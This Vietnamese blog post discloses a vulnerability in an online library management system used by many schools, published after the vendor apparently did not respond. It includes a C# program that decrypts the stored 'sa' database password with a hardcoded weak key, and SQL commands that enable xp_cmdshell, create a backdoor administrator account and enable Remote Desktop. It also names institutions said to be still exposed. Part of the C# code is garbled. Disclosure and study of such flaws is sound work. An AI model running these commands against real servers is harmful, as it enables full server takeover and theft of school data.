Cảnh báo lỗi bảo mật nghiêm trọng trên phần mềm Quản lý thư viện trực tuyến

Trước hết, Vì lý do lỗi này nếu công bố hoàn toàn thì sẽ ảnh hưởng tới đa số các Trường đại học cũng như THPT trên cả nước, vì rất nhiều trường học, tổ chức sử dụng phần mềm quản lý thư viện này. Cho phép hacker chiếm được Username/Password để connect Database. Với quyền thuộc nhóm quyền “sa” hoặc “sa”. Với quyền “sa” này, hacker có thể lợi dụng các chức năng của hệ quản trị CSDL để tấn công leo thang đặc quyền, chiếm quyền điều khiển hoàn toàn server thư viện.

Lý do tôi công bố lỗi này, vì Phía bên nhà cung cấp phần mềm mặc dù đã được tôi cảnh báo từ tháng 9/2013 về lỗi này. Họ hứa đến tháng 12/2013 sẽ sửa lỗi này trên phạm vi cả nước. Nhưng kể từ đó, tôi không nhận được bất kỳ hồi âm, cũng như tin tức về việc vá lỗi hay công bố lỗi của nhà cung cấp này. Vì vậy, tôi quyết định công bố để cảnh báo nguy cơ mất an toàn cho toàn bộ hệ thống thư viện điện tử online do nhà cung cấp này phát hành.

Đầu tiên, đây là giao diện khi tôi tiến hành đăng nhập vào thư viện bằng một user
anh1

Phần mềm này không có các lỗi như SQLi, upload, XSS, CLRF,… nhưng lại mắc một lỗi rất cơ bản là LFI. Tôi không tiện post cả link khai thác lên trên này vì lý do an toàn.

anh2

Từ lỗi LFI này, tôi có thể tìm đến vị trí của tệp chứa thông tin cấu hình, kết nối tới CSDL. Với username là “sa”. Nhưng có điều là Password đã được mã hóa thay vì hiển thị bản rõ. Tiến hành xâm nhập vào xâu hơn, tôi RE lại file XCrypt.dll và LoginDB.dll, DataAccess.dll Chương trình viết bằng VB6 thế nên việc RE cũng không quá khó khăn.
Ta có:
1. anh4

Đây là vị trí lưu toàn bộ thông tin cấu hình connect database. Nếu biết được đường dẫn này, hacker có thể lợi dụng một số exploit trên windows hay bất kỳ chương trình nào để lấy dễ dàng.

2.
anh3

Đây là key mã hóa mật khẩu. Và không ngờ rằng, key mã hóa lại dễ dàng như vậy, nguy cơ tấn công crack mật khẩu rất lớn xảy ra.
Như vậy là ta đã biết được, username/password(decode), key mã hóa. Giờ tiến hành giải mã password thôi.
Viết một chương trình giải mã như sau (có được là việc vừa RE XCrypt.dll).


/*
* Created by Hoàng Cường CEH.vn
* User: Hoàng Cường
* Date: 05/Dec/13 (Từ thời gian này cơ mà, vẫn chưa chịu vá lỗi).
* Time: 11:56 PM
*
*/
using System;
using System.IO;
using System.Security.Cryptography.X509Certificates;
using System.Security.Cryptography;
using System.Text;
using System.IO.MemoryMappedFiles;

namespace MyProj
{
class proc
{
private SymmetricAlgorithm EncodeMethod;
public proc()
{
this.EncodeMethod = new TripleDESCryptoServiceProvider();
}
private byte[] getValidIV(string InitVector, int ValidLength)
{
if (InitVector.Length > ValidLength)
{
return Encoding.ASCII.GetBytes(InitVector.Substring(0, ValidLength));
}
return Encoding.ASCII.GetBytes(InitVector.PadRight(ValidLength, ' '));
}

public byte[] getValidKey(string Key)
{

string str;
if (this.EncodeMethod.LegalKeySizes.Length > 0)
{
int num = 0;
int minSize = this.EncodeMethod.LegalKeySizes[0].MinSize;
while ((((Key.Length * 8) > minSize) && (this.EncodeMethod.LegalKeySizes[0].SkipSize > 0)) && (minSize minSize)
{
str = Key.Substring(0, minSize / 8);
}
else
{
str = Key.PadRight(minSize / 8, ' ');
}
}
else
{
str = Key;
}
return Encoding.ASCII.GetBytes(str);
}
public string Decrypting(string Source, string Key)
{
int num2;
if (((Source == null) || (Key == null)) || ((Source.Length == 0) || (Key.Length == 0)))
{
return null;
}
if (this.EncodeMethod == null)
{
return "Under Construction";
}
byte[] buffer = new byte[3];
MemoryStream stream = new MemoryStream(Convert.FromBase64String(Source));
MemoryStream stream2 = new MemoryStream();
this.EncodeMethod.Key = this.getValidKey(Key);
this.EncodeMethod.IV = this.getValidIV(Key, this.EncodeMethod.IV.Length);
CryptoStream stream3 = new CryptoStream(stream, this.EncodeMethod.CreateDecryptor(), CryptoStreamMode.Read);
long length = stream.Length;
for (int i = 0; i < length; i += num2)
{
num2 = stream3.Read(buffer, 0, buffer.Length);
if (num2 == 0)
{
break;
}
stream2.Write(buffer, 0, num2);
}
stream3.Close();
byte[] bytes = stream2.ToArray();
ASCIIEncoding encoding = new ASCIIEncoding();
return encoding.GetString(bytes);
}

}
class Program
{
public static void Main(string[] args)
{

string key = "abcdefgh"; //key mã hóa
string source = "Nkmdst5D7XJOnPI9pVPOfg=="; //Password
proc c = new proc();
string rs = c.Decrypting(source,key);
Console.WriteLine(rs);

}
}
}

Kết quả nhận được sẽ là Password bản rõ. Tiến hành conect vào CSDL. Và tiến hành tấn công leo thang đặc quyền.
Do dữ liệu tại nơi tôi làm pentest mang tính chất nhạy cảm, không thể chụp ảnh cũng như quay video cho các bạn. Thế nên tôi chỉ có thể post đoạn mã Query SQL tiến hành như thế nào thôi, các bạn sẽ xong cũng sẽ hiểu, không cần phải giải thích nhiều.


-- Cho phep thuc thi CMD_SHELL thong qua ung dung SQL.
-- Allow advanced options to be changed.
EXEC sp_configure 'show advanced options', 1
GO
-- Update the currently configured value for advanced options.
RECONFIGURE
GO
-- Disable the feature.
EXEC sp_configure 'xp_cmdshell', 1
GO
-- Update the currently configured value for this feature.
RECONFIGURE
GO
--------------------------------------

-- xem user tren may tinh
xp_cmdshell 'net user'

-- them user vao may tinh
xp_cmdshell 'net user assmin cuong1234@@@@ /add'

-- them user assmin vao nhom administrators
xp_cmdshell 'net localgroup administrators assmin /add'

-- emable remote desktop

xp_cmdshell 'reg add "hklm\system\currentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f'
xp_cmdshell 'reg add "hklm\system\currentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 0x0 /f'

link download: https://www.dropbox.com/s/cotp03b9ih05t9h/Leo%20thang%20dac%20quyen.sql

—————————————————————–
Hiện tại, vẫn còn rất nhiều trường đại học còn lỗ hổng này, bao gồm cả Quốc gia, Hài phòng, FTP,HV TC… sử dụng phần mềm trên. Các bạn cảnh báo cho nhà trường càng sớm càng tốt để loại trừ nguy hiểm có thể xảy ra.

Advertisements

4 thoughts on “Cảnh báo lỗi bảo mật nghiêm trọng trên phần mềm Quản lý thư viện trực tuyến”

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s